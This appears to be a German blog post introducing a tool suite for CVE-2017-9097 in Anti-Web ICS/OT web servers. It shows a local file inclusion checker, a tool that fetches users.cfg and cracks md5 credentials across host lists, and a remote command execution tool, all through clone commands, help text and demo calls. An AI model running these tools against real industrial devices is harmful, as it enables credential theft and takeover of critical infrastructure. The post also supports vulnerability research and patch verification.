
Tool-Suite, die CVE-2017-9097 (+RCE) ausnutzt
Eine Schwachstelle wurde in Webanwendungen im Zusammenhang mit ICS/OT gefunden, die auf Anti-Web-Servern laufen (bis zu deren Version 3.8.7). Die identifizierten Schwachstellen betreffen mehrere namhafte Hersteller aus der Branche der industriellen Prozessautomatisierung und der Telekommunikation. Diese Geräte verfügten bereits über zwei ähnliche, alte CVEs (CVE-2010-4730 & CVE-2010-4733); nach der Meldung wurde ein dritter CVE (2017-9097) vergeben, und der Hersteller veröffentlichte umgehend einen Patch. Weitere folgten unmittelbar.
Um eine ungefähre Vorstellung vom Grad der Exposition dieser Geräte zu erhalten, stützen wir uns auf die bei Shodan indexierten Hosts; es handelt sich um etwas mehr als 800 potenziell verwundbare Geräte.

Was den LFI betrifft, den unser Tool auszunutzen versucht, so verfügen die betroffenen Hersteller heute bereits über ihre jeweiligen offiziellen Patches, die die Schwachstelle beheben. Der Versuch, den Fehler auszunutzen, bestätigt daher gewissermaßen das Engagement der Betreiber und Verantwortlichen dieser Technologien und beantwortet eine grundlegende Frage: „Wurden die entsprechenden Patches installiert?“
Eines der ersten Tools versucht, die Existenz eines LFI auszunutzen und zu bestätigen. Ein zweites Tool versucht, aus dem LFI Nutzen zu ziehen, indem es die Datei abruft, in der die Zugangsdaten gespeichert sind, die Zugriff auf das Webpanel gewähren. Dort liegen die Benutzernamen im Klartext vor, während die Passwörter mit md5 gehasht sind; das Tool wird versuchen, diese zu brechen. Und schließlich ein letztes Tool, das einen RCE ausnutzt.
usr@pwn:~$ git clone https://github.com/ezelf/AntiWeb_testing-Suite
usr@pwn:~$ cd AntiWeb_testing-Suite
usr@pwn:~$ ls -l
total 16
drwxr-xr-x 4 root root 4096 sep 14 21:05 LFI
drwxr-xr-x 4 root root 4096 sep 14 21:05 RCE
-rwxrwxr-x 1 root root 1852 sep 24 08:42 README.md
drwxr-xr-x 3 root root 4096 sep 24 08:05 seekAndDestroy
Es bestätigt schlicht die Existenz des LFI, indem es vordefinierte Pfade abfragt und/oder dem Benutzer die Möglichkeit gibt, einen eigenen Pfad zu übergeben.
Optional kann man ein (gültiges) Session-Cookie übergeben.
usr@pwn:~$ python anti-web-v1.py --help
usage: anti-web.py [-h] [-v] --host HOST [--port PORT] [--file LFI]
[+] CVE: CVE-2017-9097
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST host
--port PORT Set port (default = 80)
--file LFI Test LFI
-ck COOKIE Set Cookie
[+] Demo: anti-web.py --host 192.168.1.100 --port 80

Dieses Tool versucht, dem LFI eine sinnvolle Nutzung zu geben. Dazu zielt es auf die Datei "/home/config/users.cfg", in der sich die Zugangsdaten befinden, die den Zugriff auf die Webanwendung ermöglichen.

„Seek And Destroy“ parst diese Datei und identifiziert den Hash, der der Konkatenation aus Passwort und Benutzername entspricht, die der MD5-Hashfunktion übergeben wurde. Mit vorberechneten Listen wird nach und nach aufgedeckt, was sich hinter diesen Hashes verbirgt.

Man kann wahlweise einen einzelnen Host oder eine Liste von ihnen angreifen.
usr@pwn:~$ python seekAndDestroy.py --help
usage: seekAndDestroy.py [-h] [-v] [--host HOST] [--list HOST_LIST]
[--port PORT]
[+] Obtain and break the credentials of your industrial control system .
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST host
--list HOST_LIST hosts
--port PORT set port (default = 80)
[+] Usage: seelAndDestroy.py --list host_list.txt --port 8080
Und wir kommen zu dem, was vielleicht das Interessanteste ist: der Möglichkeit, Befehle des Betriebssystems der Hardware auszuführen, die das verwundbare System unterstützt. *** „Von HTTP zur Shell“ ***
.

#### Fortsetzung folgt... (morgen ist Montag. xd)
usr@pwn:~$ python rce.py --help
usage: RCE.py [-h] [-v] --host HOST [--port PORT] -ck COOKIE --cmd COMMAND
[+] COMMANDS over your industrial control system .
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST Host
--port PORT Port
-ck COOKIE Cookie
--cmd COMMAND Command
[+] Demo: python rce.py --host <host> -ck <sessionCookie> --cmd "ls -la /"
....Warte
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9097
* https://ics-cert.us-cert.gov/advisories/ICSA-17-222-05
* https://www.seebug.org/vuldb/ssvid-96555 (RCE)
* https://www.seebug.org/vuldb/ssvid-96556 (LFI)
* https://vuldb.com/es/?id.102570
* https://github.com/hoytech/antiweb/
* https://nvd.nist.gov/vuln/detail/CVE-2017-9097
* https://www.9165619.com/vulnerability/cve-2017-9097-89702
* http://old.cnnvd.org.cn/vulnerability/show/cv_id/2017051027
* http://jvndb.jvn.jp/ja/contents/2017/JVNDB-2017-005240.html
* http://plugins.openvas.org/nasl.php?oid=106886 (*down)
* http://webcache.googleusercontent.com/search?q=cache:Z1VaYjaZLB4J:plugins.openvas.org/nasl.php%3Foid%3D106886+&cd=1&hl=es-419&ct=clnk&gl=cl
''' [+] CVE-2009-4462 ( Intellicom NetBiterConfig.exe ) [+] CVE-2009-4463 ( Intellicom NetBiterConfig.exe ) (http://blog.48bits.com/exposing-hms-hicp-protocol-0day-light/)
[+] CVE-2010-4730 ( Directory traversal vulnerability in cgi-bin/read.cgi in WebSCADA )
[+] CVE-2010-4731 ( Absolute path traversal vulnerability in cgi-bin/read.cgi in WebSCADA )
[+] CVE-2010-4732 ( RCE, using a config.html 2.conf action to replace the logo page's GIF image file )
[+] CVE-2010-4733 ( default username and password to obtain superadmin access via the web interface )
Intellicom NetBiter products based on the NB100 and NB200 platforms, including:
WebSCADA (WS100)
WebSCADA (WS200)
Easy Connect (EC150)
Modbus RTU – TCP Gateway (MB100)
Serial Ethernet Server (SS100).
* https://ics-cert.us-cert.gov/advisories/ICSA-10-316-01A
'''
Die betreffenden Tools befinden sich unter (AntiWeb_testing-Suite): https://github.com/ezelf/AntiWeb_testing-Suite/
Video, das die drei Tools in ihrer ersten Betaversion kombiniert: https://www.youtube.com/watch?v=HdkZA1DO08Y